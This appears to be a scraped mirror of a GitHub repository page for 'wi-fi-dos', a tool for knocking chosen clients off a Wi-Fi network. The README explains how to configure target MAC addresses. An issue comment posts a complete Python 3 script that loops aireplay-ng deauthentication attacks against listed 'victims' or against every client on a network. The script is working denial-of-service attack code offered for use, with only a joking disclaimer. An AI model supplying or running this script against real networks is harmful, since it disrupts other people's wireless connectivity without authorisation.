Giter VIP home page Giter VIP logo

wi-fi-dos's Introduction

aireplay-ng only supports 2 deauthentication modes: 1 client or all of them. In some cases you may want to keep a few clients off your network, but not all of them. This script does that for you.

wifidos.py takes no arguments; everything is configured from the source code:

#Deauthenticate all clients (you should use aircrack-ng directly):
#network = "de:ad:be:ef:fe:ed"
#victims = []

#Deauthenticate these specific clients:
network = "de:ad:be:ef:fe:ed"
victims = [
   "00:00:00:00:00:11", #Client 01
   "00:00:00:00:00:22", #Client 02
   "00:00:00:00:00:33", #Client 03
   "00:00:00:00:00:44", #Client 04
   "00:00:00:00:00:55"] #Client 05

#Network interface:
interface = "wlan1mon"

Don't do anything nasty with it :)

wi-fi-dos's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

wi-fi-dos's Issues

For python3 Thank me later

import subprocess
import signal
import sys

#Deauthenticate all clients (You should use aircrack-ng directly):
network = "00:00:00:00:00:00"
victims = []

#Deauthenticate these specific clients:
#network = "00:00:00:00:00:00"
#victims = [

"00:00:00:00:00:11", #Client 01

"00:00:00:00:00:22", #Client 02

"00:00:00:00:00:33", #Client 03

"00:00:00:00:00:44", #Client 04

"00:00:00:00:00:55"] #Client 05

interface = "wlan1mon"

def signal_handler(signal, frame):
print("\nYou pressed Ctrl+C!")
sys.exit(0)

def deauth_all_clients(net):
command = "aireplay-ng --deauth 0 -a {0} {1}".format(net, interface)
print("[+] Deauthenticating all clients in the network")
print("[!] You may as well run aireplay-ng directly: [{0}]\n".format(command))
subprocess.call([command], shell=True) #Runs forever

def deauth_client(net, cli):
print("\n[+] Deauthenticating {0}\n".format(cli))
command = "aireplay-ng --deauth 3 -a {0} -c {1} {2}".format(net, cli, interface)
subprocess.call([command], shell=True)

if name == 'main':
signal.signal(signal.SIGINT, signal_handler)
print("[+] Target Network:\n\t{0}".format(network))

if len(victims) == 0:
    deauth_all_clients(network) #Will only return if there's an error
    sys.exit(1)

print("[+] Target Clients:")
for i in range(0, len(victims)):
    print("\t{0}".format(victims[i]))
while True:
    for i in range(0, len(victims)):
        deauth_client(network, victims[i])

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.